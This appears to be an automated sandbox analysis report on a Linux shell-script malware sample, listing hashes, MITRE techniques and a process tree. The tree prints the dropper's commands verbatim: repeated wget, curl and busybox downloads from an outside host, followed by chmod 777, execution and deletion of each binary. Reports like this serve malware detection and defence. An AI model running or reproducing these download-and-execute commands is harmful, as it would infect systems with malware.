d5b8e1d5158341d46f35d833ec845c221cb0be282babc36e2c7d41c2030ebd27

Analysis

max time kernel
85s
max time network
87s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
29/10/2024, 02:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
d5b8e1d5158341d46f35d833ec845c221cb0be282babc36e2c7d41c2030ebd27.sh
Size 10KB
Sample241029-dgkldatcld
SHA256 d5b8e1d5158341d46f35d833ec845c221cb0be282babc36e2c7d41c2030ebd27
MD5 4515abd1275dc3eceeb736e5d2ef6c9e
SHA1 b76d89be73dc7d541fbebe1c8093aab616ebde4b
SHA512 abb712cadfa5f000388b10dc965825967829aa3e988cd0b7ac0f40a6855810e2be7ed485691919c650b2f605d3ebd940c7d9c0e3eb84b8d05aac9c4b00396340
SSDEEP 96:Y04QL7s7w7zow1F1VXL828m8q3LzsnUrXHLQ3p3B3x5RULJheU6yiTvNLJhWLG2n:7DKwlCjSLLzCqVLzD
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
750	chmod
778	chmod
860	chmod
875	chmod
912	chmod
883	chmod
927	chmod
934	chmod
941	chmod
963	chmod
978	chmod
1000	chmod
735	chmod
810	chmod
868	chmod
948	chmod
905	chmod
971	chmod
985	chmod
1008	chmod
742	chmod
897	chmod
920	chmod
849	chmod
890	chmod
955	chmod
992	chmod
1015	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
902	curl
931	curl
944	wget
772	busybox
815	wget
889	busybox
951	wget
999	busybox
864	wget
896	busybox
926	busybox
996	wget
1007	busybox
1011	wget
725	curl
904	busybox
923	wget
872	curl
919	busybox
984	busybox
882	busybox
940	busybox
954	busybox
967	wget
968	curl
762	curl
784	wget
806	busybox
974	wget
997	curl
880	curl
894	curl
959	wget
981	wget
982	curl
747	curl
871	wget
937	wget
865	curl
924	curl
746	wget
795	curl
853	wget
911	busybox
917	curl
962	busybox
738	wget
886	wget
901	wget
991	busybox
734	busybox
741	busybox
857	curl
816	curl
893	wget
909	curl
1005	curl
711	wget
874	busybox
879	wget
975	curl
988	wget
989	curl
739	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru	curl
File opened for modification	/tmp/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI	curl
File opened for modification	/tmp/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo	curl
File opened for modification	/tmp/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI	curl
File opened for modification	/tmp/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX	curl
File opened for modification	/tmp/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI	curl
File opened for modification	/tmp/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v	curl
File opened for modification	/tmp/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI	curl
File opened for modification	/tmp/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed	curl
File opened for modification	/tmp/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd	curl
File opened for modification	/tmp/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi	curl
File opened for modification	/tmp/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl	curl
File opened for modification	/tmp/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x	curl
File opened for modification	/tmp/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg	curl
File opened for modification	/tmp/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x	curl
File opened for modification	/tmp/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6	curl
File opened for modification	/tmp/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi	curl
File opened for modification	/tmp/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd	curl
File opened for modification	/tmp/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg	curl
File opened for modification	/tmp/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX	curl
File opened for modification	/tmp/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl	curl
File opened for modification	/tmp/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo	curl
File opened for modification	/tmp/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru	curl
File opened for modification	/tmp/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ	curl
File opened for modification	/tmp/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ	curl
File opened for modification	/tmp/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6	curl
File opened for modification	/tmp/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed	curl
File opened for modification	/tmp/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v	curl

/tmp/d5b8e1d5158341d46f35d833ec845c221cb0be282babc36e2c7d41c2030ebd27.sh
/tmp/d5b8e1d5158341d46f35d833ec845c221cb0be282babc36e2c7d41c2030ebd27.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:706
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - System Network Configuration Discovery
  PID:711
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - System Network Configuration Discovery
  PID:734
- /bin/chmod
  chmod 777 CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  ./CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  PID:737
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - System Network Configuration Discovery
  PID:738
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - System Network Configuration Discovery
  PID:741
- /bin/chmod
  chmod 777 WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  ./WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - Executes dropped EXE
  PID:743
- /bin/rm
  rm WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  PID:745
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - System Network Configuration Discovery
  PID:746
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  PID:749
- /bin/chmod
  chmod 777 Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  ./Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - Executes dropped EXE
  PID:751
- /bin/rm
  rm Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  PID:753
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - System Network Configuration Discovery
  PID:772
- /bin/chmod
  chmod 777 HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  ./HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - Executes dropped EXE
  PID:780
- /bin/rm
  rm HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  PID:783
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - System Network Configuration Discovery
  PID:784
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - System Network Configuration Discovery
  PID:806
- /bin/chmod
  chmod 777 3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  ./3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - Executes dropped EXE
  PID:812
- /bin/rm
  rm 3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  PID:814
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - System Network Configuration Discovery
  PID:815
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  PID:818
- /bin/chmod
  chmod 777 YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  ./YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - Executes dropped EXE
  PID:850
- /bin/rm
  rm YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  PID:852
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - System Network Configuration Discovery
  PID:853
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  PID:859
- /bin/chmod
  chmod 777 zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  ./zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  PID:863
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - System Network Configuration Discovery
  PID:864
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  PID:867
- /bin/chmod
  chmod 777 gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  ./gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm gQLwNqjxZCZa3vbb8yOzz4rqQ4vExp7QdX
  2⤵
  PID:870
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - System Network Configuration Discovery
  PID:871
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - System Network Configuration Discovery
  PID:874
- /bin/chmod
  chmod 777 PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  ./PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm PMmvo6wuwPnfrlfnetaRhObLb9MnpnTd7v
  2⤵
  PID:878
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - System Network Configuration Discovery
  PID:879
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - System Network Configuration Discovery
  PID:882
- /bin/chmod
  chmod 777 RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  ./RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  PID:885
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - System Network Configuration Discovery
  PID:886
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - System Network Configuration Discovery
  PID:889
- /bin/chmod
  chmod 777 BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  ./BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm BIE0o2wxwRY4FX2RPvdVlZBi2J1Fq35caI
  2⤵
  PID:892
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - System Network Configuration Discovery
  PID:893
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - System Network Configuration Discovery
  PID:896
- /bin/chmod
  chmod 777 QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  ./QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm QPFVh1zFuepmFySpEr7y3HLtL8RxtyFoVg
  2⤵
  PID:900
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - System Network Configuration Discovery
  PID:901
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - System Network Configuration Discovery
  PID:904
- /bin/chmod
  chmod 777 6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  ./6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm 6NgDAjaBmn3KFC4cjwWifY5Zy0kVZKHqSo
  2⤵
  PID:907
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - System Network Configuration Discovery
  PID:911
- /bin/chmod
  chmod 777 Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  ./Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm Y61hz9zSmg9KetkI0ZPMPyTWEvFawxhHjl
  2⤵
  PID:915
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  PID:916
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:917
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - System Network Configuration Discovery
  PID:919
- /bin/chmod
  chmod 777 WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  ./WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm WMWjrEW9cNMg4ttZ3OmHzP2wD03OmiWmZJ
  2⤵
  PID:922
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - System Network Configuration Discovery
  PID:923
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - System Network Configuration Discovery
  PID:926
- /bin/chmod
  chmod 777 CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  ./CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm CL3dMk1NpeunhB6juCW2ETDLxGPjioeUru
  2⤵
  PID:929
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  PID:933
- /bin/chmod
  chmod 777 zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  ./zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  - Executes dropped EXE
  PID:935
- /bin/rm
  rm zTueGB6YBnO3kHh8KYB7gU3RfPYMPN04ed
  2⤵
  PID:936
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - System Network Configuration Discovery
  PID:937
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:938
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - System Network Configuration Discovery
  PID:940
- /bin/chmod
  chmod 777 Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  ./Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm Fkcvba23YSCEBHLJJEsxyE8dK43knZw3Cd
  2⤵
  PID:943
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - System Network Configuration Discovery
  PID:944
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  PID:947
- /bin/chmod
  chmod 777 HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - File and Directory Permissions Modification
  PID:948
- /tmp/HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  ./HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  - Executes dropped EXE
  PID:949
- /bin/rm
  rm HDlGHREiDnHRM9rS2UKbD6cQLSouGiF45x
  2⤵
  PID:950
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - System Network Configuration Discovery
  PID:951
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:952
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - System Network Configuration Discovery
  PID:954
- /bin/chmod
  chmod 777 3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  ./3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm 3Bmjth228pbQZyzvBnYG0Kxe5qm1NOsbu6
  2⤵
  PID:958
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - System Network Configuration Discovery
  PID:959
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - System Network Configuration Discovery
  PID:962
- /bin/chmod
  chmod 777 YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - File and Directory Permissions Modification
  PID:963
- /tmp/YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  ./YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  - Executes dropped EXE
  PID:964
- /bin/rm
  rm YvExhD0WTIuf63WHssf3acuRPRN9EO0jMI
  2⤵
  PID:966
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - System Network Configuration Discovery
  PID:967
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:968
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  PID:970
- /bin/chmod
  chmod 777 RP79XnjW9Cdubr7N8mdbVqCmd3KvRreXdi
  2⤵
  - File and Directory Permissions Modification
  PID:971
